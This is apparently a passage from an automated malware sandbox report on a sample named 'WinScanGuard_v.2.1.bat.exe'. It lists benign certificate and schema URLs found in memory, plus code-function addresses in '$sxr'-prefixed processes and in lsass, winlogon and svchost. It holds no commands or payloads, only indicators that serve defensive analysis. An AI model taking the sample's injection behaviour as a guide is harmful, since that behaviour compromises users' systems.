Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertCSRSA4096RootG5.crt0E
Source: lsass.exe, 00000019.00000000.2047005510.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911169498.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: lsass.exe, 00000019.00000000.2047005510.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911169498.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2908552119.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046537814.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: lsass.exe, 00000019.00000000.2047005510.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911169498.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046960383.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911011421.00000202C0379000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA2.crt0
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertCSRSA4096RootG5.crl0
Source: lsass.exe, 00000019.00000000.2047005510.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911169498.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: lsass.exe, 00000019.00000000.2047005510.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911169498.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2908552119.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046537814.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: lsass.exe, 00000019.00000000.2047005510.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911169498.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046960383.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911011421.00000202C0379000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0F
Source: lsass.exe, 00000019.00000000.2047005510.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000003.2197674660.00000202C0249000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911169498.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046733621.00000202C0249000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2909514725.00000202C0256000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: lsass.exe, 00000019.00000000.2047005510.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911169498.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: lsass.exe, 00000019.00000000.2047005510.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911169498.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2908552119.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046537814.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000019.00000000.2047005510.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911169498.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046960383.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911011421.00000202C0379000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0=
Source: lsass.exe, 00000019.00000002.2908552119.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046537814.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: lsass.exe, 00000019.00000000.2046733621.00000202C0200000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2909286057.00000202C0200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: lsass.exe, 00000019.00000002.2907945762.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046445898.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
Source: lsass.exe, 00000019.00000000.2046472218.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2908118338.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
Source: lsass.exe, 00000019.00000002.2907945762.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046445898.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: lsass.exe, 00000019.00000000.2047005510.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911169498.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2908552119.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046537814.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: lsass.exe, 00000019.00000000.2047005510.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000003.2197674660.00000202C0249000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911169498.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046733621.00000202C0249000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2909514725.00000202C0256000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: lsass.exe, 00000019.00000000.2047005510.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911169498.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046960383.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911011421.00000202C0379000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: lsass.exe, 00000019.00000000.2047005510.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000003.2197674660.00000202C0249000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911169498.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046733621.00000202C0249000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2909514725.00000202C0256000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046960383.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911011421.00000202C0379000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: lsass.exe, 00000019.00000002.2907945762.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046445898.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: lsass.exe, 00000019.00000002.2907945762.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046445898.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2285788055.0000020CA1A91000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 00000012.00000002.2928056042.00000285285E1000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 00000015.00000002.2927032534.000002428799C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: lsass.exe, 00000019.00000002.2907945762.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046445898.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046472218.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2908118338.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
Source: lsass.exe, 00000019.00000002.2907945762.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046445898.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: lsass.exe, 00000019.00000002.2907945762.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046445898.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
Source: lsass.exe, 00000019.00000002.2907945762.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046445898.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: Amcache.hve.10.dr	String found in binary or memory: http://upx.sf.net
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: lsass.exe, 00000019.00000000.2047005510.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911169498.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046960383.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2911011421.00000202C0379000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0~
Source: $sxr-mshta.exe, 0000000D.00000002.2917110489.000001A00A80C000.00000004.00000020.00020000.00000000.sdmp, $sxr-mshta.exe, 0000000D.00000003.1934060188.000001A00A80F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: $sxr-mshta.exe, 0000000D.00000002.2917110489.000001A00A80C000.00000004.00000020.00020000.00000000.sdmp, $sxr-mshta.exe, 0000000D.00000003.1934060188.000001A00A80F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirm
Source: $sxr-powershell.exe, 00000015.00000002.2927032534.000002428794F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2285788055.0000020CA1A91000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 00000012.00000002.2928056042.00000285285E1000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 00000015.00000002.2927032534.0000024287975000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
Source: WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2138245203.0000020C81961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dahall/taskscheduler
Source: $sxr-powershell.exe, 00000012.00000002.2928056042.0000028528E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/json
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson

Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_0000000140001368	6_2_0000000140001368
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_0000000140001014	6_2_0000000140001014
Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_000001A00AAD2178	13_2_000001A00AAD2178
Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_000001A00AADB0D0	13_2_000001A00AADB0D0
Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_000001A00AADF398	13_2_000001A00AADF398
Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_000001A00AADB2DC	13_2_000001A00AADB2DC
Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_000001A00AAE16F8	13_2_000001A00AAE16F8
Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_000001A00BDB2D78	13_2_000001A00BDB2D78
Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_000001A00BDBBCD0	13_2_000001A00BDBBCD0
Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_000001A00BDBFF98	13_2_000001A00BDBFF98
Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_000001A00BDC22F8	13_2_000001A00BDC22F8
Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_000001A00BDBBEDC	13_2_000001A00BDBBEDC
Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_00007FF7142F1008	13_2_00007FF7142F1008
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_0000020D0B5FF398	16_2_0000020D0B5FF398
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_0000020D0B5FB2DC	16_2_0000020D0B5FB2DC
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_0000020D0B6016F8	16_2_0000020D0B6016F8
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_0000020D0B5F2178	16_2_0000020D0B5F2178
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_0000020D0B5FB0D0	16_2_0000020D0B5FB0D0
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_0000020D0B62FF98	16_2_0000020D0B62FF98
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_0000020D0B62BEDC	16_2_0000020D0B62BEDC
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_0000020D0B6322F8	16_2_0000020D0B6322F8
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_0000020D0B622D78	16_2_0000020D0B622D78
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_0000020D0B62BCD0	16_2_0000020D0B62BCD0
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154FAA54	16_2_00007FF6154FAA54
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF615500A6C	16_2_00007FF615500A6C
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF615505554	16_2_00007FF615505554
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF615504224	16_2_00007FF615504224
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6155037D8	16_2_00007FF6155037D8
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154FE680	16_2_00007FF6154FE680
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF61551EE88	16_2_00007FF61551EE88
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F7650	16_2_00007FF6154F7650
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154FD250	16_2_00007FF6154FD250
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F9E50	16_2_00007FF6154F9E50
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F5240	16_2_00007FF6154F5240
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F372C	16_2_00007FF6154F372C
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF615517F00	16_2_00007FF615517F00
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F6EE4	16_2_00007FF6154F6EE4
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF615521538	16_2_00007FF615521538
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154FCE10	16_2_00007FF6154FCE10
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF61551AA30	16_2_00007FF61551AA30
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F8DF8	16_2_00007FF6154F8DF8
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F4A30	16_2_00007FF6154F4A30
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F2220	16_2_00007FF6154F2220
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F81D4	16_2_00007FF6154F81D4
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF61551D9D0	16_2_00007FF61551D9D0
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F1884	16_2_00007FF6154F1884
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF615507854	16_2_00007FF615507854
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F2C48	16_2_00007FF6154F2C48
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF61551AC4C	16_2_00007FF61551AC4C
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F8510	16_2_00007FF6154F8510
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F7D30	16_2_00007FF6154F7D30
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6155018D4	16_2_00007FF6155018D4
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154FB0D8	16_2_00007FF6154FB0D8
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F3F90	16_2_00007FF6154F3F90
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F9B50	16_2_00007FF6154F9B50
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F5B70	16_2_00007FF6154F5B70
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F3410	16_2_00007FF6154F3410
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF61551AFBC	16_2_00007FF61551AFBC
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F6BE0	16_2_00007FF6154F6BE0
Source: C:\Windows\$sxr-powershell.exe	Code function: 21_2_0000024287882178	21_2_0000024287882178
Source: C:\Windows\$sxr-powershell.exe	Code function: 21_2_000002428788B0D0	21_2_000002428788B0D0
Source: C:\Windows\$sxr-powershell.exe	Code function: 21_2_000002428788F398	21_2_000002428788F398
Source: C:\Windows\$sxr-powershell.exe	Code function: 21_2_000002428788B2DC	21_2_000002428788B2DC
Source: C:\Windows\$sxr-powershell.exe	Code function: 21_2_00000242878916F8	21_2_00000242878916F8
Source: C:\Windows\$sxr-powershell.exe	Code function: 21_2_00000242878B2D78	21_2_00000242878B2D78
Source: C:\Windows\$sxr-powershell.exe	Code function: 21_2_00000242878BBCD0	21_2_00000242878BBCD0
Source: C:\Windows\$sxr-powershell.exe	Code function: 21_2_00000242878BFF98	21_2_00000242878BFF98
Source: C:\Windows\$sxr-powershell.exe	Code function: 21_2_00000242878BBEDC	21_2_00000242878BBEDC
Source: C:\Windows\$sxr-powershell.exe	Code function: 21_2_00000242878C22F8	21_2_00000242878C22F8
Source: C:\Windows\System32\dllhost.exe	Code function: 22_2_0000000140001B30	22_2_0000000140001B30
Source: C:\Windows\System32\dllhost.exe	Code function: 22_2_000000014000119C	22_2_000000014000119C
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC6216F8	24_2_00000225DC6216F8
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC61B2DC	24_2_00000225DC61B2DC
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC61F398	24_2_00000225DC61F398
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC61B0D0	24_2_00000225DC61B0D0
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC612178	24_2_00000225DC612178
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC6522F8	24_2_00000225DC6522F8
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC64BEDC	24_2_00000225DC64BEDC
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC64FF98	24_2_00000225DC64FF98
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC64BCD0	24_2_00000225DC64BCD0
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC642D78	24_2_00000225DC642D78
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC6816F8	24_2_00000225DC6816F8
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC67B2DC	24_2_00000225DC67B2DC
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC67F398	24_2_00000225DC67F398
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC67B0D0	24_2_00000225DC67B0D0
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC672178	24_2_00000225DC672178
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC7016F8	24_2_00000225DC7016F8
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC6FB2DC	24_2_00000225DC6FB2DC
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC6FF398	24_2_00000225DC6FF398
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC6FB0D0	24_2_00000225DC6FB0D0
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC6F2178	24_2_00000225DC6F2178
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC7616F8	24_2_00000225DC7616F8
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC75B2DC	24_2_00000225DC75B2DC
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC75F398	24_2_00000225DC75F398
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC75B0D0	24_2_00000225DC75B0D0
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC752178	24_2_00000225DC752178
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC7C16F8	24_2_00000225DC7C16F8
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC7BB2DC	24_2_00000225DC7BB2DC
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC7BF398	24_2_00000225DC7BF398
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC7BB0D0	24_2_00000225DC7BB0D0
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC7B2178	24_2_00000225DC7B2178
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC81B2DC	24_2_00000225DC81B2DC
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC8216F8	24_2_00000225DC8216F8
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC81F398	24_2_00000225DC81F398
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC812178	24_2_00000225DC812178
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC81B0D0	24_2_00000225DC81B0D0
Source: C:\Windows\System32\lsass.exe	Code function: 25_2_00000202C0ABF398	25_2_00000202C0ABF398
Source: C:\Windows\System32\lsass.exe	Code function: 25_2_00000202C0AC16F8	25_2_00000202C0AC16F8
Source: C:\Windows\System32\lsass.exe	Code function: 25_2_00000202C0ABB2DC	25_2_00000202C0ABB2DC
Source: C:\Windows\System32\lsass.exe	Code function: 25_2_00000202C0AB2178	25_2_00000202C0AB2178
Source: C:\Windows\System32\lsass.exe	Code function: 25_2_00000202C0ABB0D0	25_2_00000202C0ABB0D0
Source: C:\Windows\System32\lsass.exe	Code function: 25_2_00000202C0AEFF98	25_2_00000202C0AEFF98
Source: C:\Windows\System32\lsass.exe	Code function: 25_2_00000202C0AF22F8	25_2_00000202C0AF22F8
Source: C:\Windows\System32\lsass.exe	Code function: 25_2_00000202C0AEBEDC	25_2_00000202C0AEBEDC
Source: C:\Windows\System32\lsass.exe	Code function: 25_2_00000202C0AE2D78	25_2_00000202C0AE2D78
Source: C:\Windows\System32\lsass.exe	Code function: 25_2_00000202C0AEBCD0	25_2_00000202C0AEBCD0
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Code function: 26_2_0400EDD1	26_2_0400EDD1
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Code function: 26_2_0402F9D1	26_2_0402F9D1
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A6612E16F8	27_2_000002A6612E16F8
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A6612DF398	27_2_000002A6612DF398
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A6612DB2DC	27_2_000002A6612DB2DC
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A6612D2178	27_2_000002A6612D2178
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A6612DB0D0	27_2_000002A6612DB0D0
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A6613122F8	27_2_000002A6613122F8
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A66130FF98	27_2_000002A66130FF98
